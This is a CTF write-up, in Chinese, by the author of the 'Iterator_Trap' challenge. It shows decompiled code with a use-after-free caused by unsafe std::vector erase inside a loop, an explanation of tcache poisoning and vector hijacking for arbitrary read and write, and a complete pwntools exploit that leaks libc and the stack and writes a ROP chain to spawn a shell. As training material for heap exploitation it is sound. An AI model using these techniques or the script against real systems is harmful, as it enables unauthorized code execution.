nyyyddddn

nss3rd出题_Iterator_Trap解题思路

2024/08/31

题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap

Iterator_Trap

这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目

题目逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-18h]

v6 = __readfsqword(0x28u);
std::vector<void *>::vector(&chunklist);
std::vector<int>::vector(&sizelist);
init();
gift();
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &choice);
if ( choice != 3 )
break;
edit_func(&chunklist, &sizelist);
}
if ( choice > 3 )
break;
if ( choice == 1 )
{
create_func(&chunklist, &sizelist);
}
else
{
if ( choice != 2 )
break;
delete_func(&chunklist, &sizelist);
}
}
exit(0);
}

void __cdecl menu()
{
puts("[1] void create(__uint32_t size,char *content)");
puts("[2] void delete(__uint32_t idx)");
puts("[3] void edit(__uint32_t idx,char *content)");
printf(">>> ");
}

void __cdecl gift()
{
void *v0; // rax

v0 = sbrk(0LL);
printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}

void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<int>::size_type v2; // rdx
__gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
std::vector<void*>::size_type v4; // rdx
char **v5; // rax
int size; // [rsp+1Ch] [rbp-24h] BYREF
std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF

__x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
puts("size: ");
__isoc99_scanf("%d", &size);
__x[0] = malloc(size);
std::vector<void *>::push_back(chunklist, __x);
std::vector<int>::push_back(sizelist, &size);
puts("content: ");
v2 = std::vector<int>::size(sizelist) - 1;
v3 = *std::vector<int>::operator[](sizelist, v2);
v4 = std::vector<void *>::size(chunklist) - 1;
v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
size_t v4; // rdx
char ch_0; // [rsp+17h] [rbp-19h] BYREF
size_t total_read; // [rsp+18h] [rbp-18h]
ssize_t bytes_read; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]

v9 = __readfsqword(0x28u);
if ( size <= 0 || !buf )
return -1LL;
total_read = 0LL;
while ( total_read < size - 1 )
{
bytes_read = read(fd, &ch_0, 1uLL);
if ( ch_0 == 10 )
break;
v4 = total_read++;
buf[v4] = ch_0;
}
return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
std::vector<void*>::size_type M_current_low; // rbx
void **v4; // rax
int i; // [rsp+1Ch] [rbp-34h]
__gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
__gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
__gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

idx[1]._M_current = (void *const *)__readfsqword(0x28u);
for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
{
if ( *std::vector<int>::operator[](sizelist, i) == -1 )
{
v6._M_current = std::vector<int>::begin(sizelist)._M_current;
__i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
(__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
&__i);
std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
__i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
i)._M_current;
__gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
idx,
(const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
std::vector<void *>::erase(chunklist, idx[0]);
}
}
puts("idx: ");
__isoc99_scanf("%d", idx);
if ( SLODWORD(idx[0]._M_current) >= 0
&& (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
{
v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
free(*v4);
*std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
puts("success");
}
else
{
puts("error");
}
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node7.anna.nssctf.cn"
PORT = 23086

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()

def create(size,content):
sla(">>>","1")
sla("size:",str(size))
sla("content",content)

def delete(idx):
sla(">>>","2")
sla("idx:",str(idx))

def edit(idx,content = null):
sla(">>>","3")
sla("idx:",str(idx))
if content == null:
return
sa("content: ",content)

ru("gift: ")
heap_base = int(rl()[:-1],16) - 0x21000
success(f"heap_base ->{hex(heap_base)}")

create(0x58,"padding")
create(0x58,"padding")

for i in range(7):
create(0x48,"tcache")
for i in range(2**9+2**8):
create(-1, b"")


create(0x48,"fastbin")
create(0x48,"fastbin")

for i in range(7):
delete(2) # refill tcache

delete(5)
delete(4)
delete(2)


for i in range(7):
create(0x48,"tcahce") # clean up tcache


pos = heap_base + 0x120f0
vector_addr = heap_base + 0x14260 # &vector[0]
payload = (pos >> 12) ^ vector_addr

create(0x48,p64(payload))
create(0x48,"AAAAAAAA")
create(0x48,p64(payload))
create(0x48,p64(0x114514)) # 12


create(0x7b8,"unsortedbin")
create(0x58,"padding")
delete(13)

unsortedbin_fd = heap_base + 0x12a90
edit(12,p64(unsortedbin_fd))
edit(0,b"\xe0")
ru("success: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
success(hex(libc_base))

environ = libc_base + libc.sym['__environ']
edit(12,p64(environ - 0x8))
edit(0,"A" * 8) # leak stack
ru("success: ")
ru("A" * 0x8)
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) # read func
edit(12,p64(return_addr))

ret = libc_base + 0x00000000000baaf9
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# g(p)
edit(0,payload)


p.interactive()
CATALOG
  1. 1. Iterator_Trap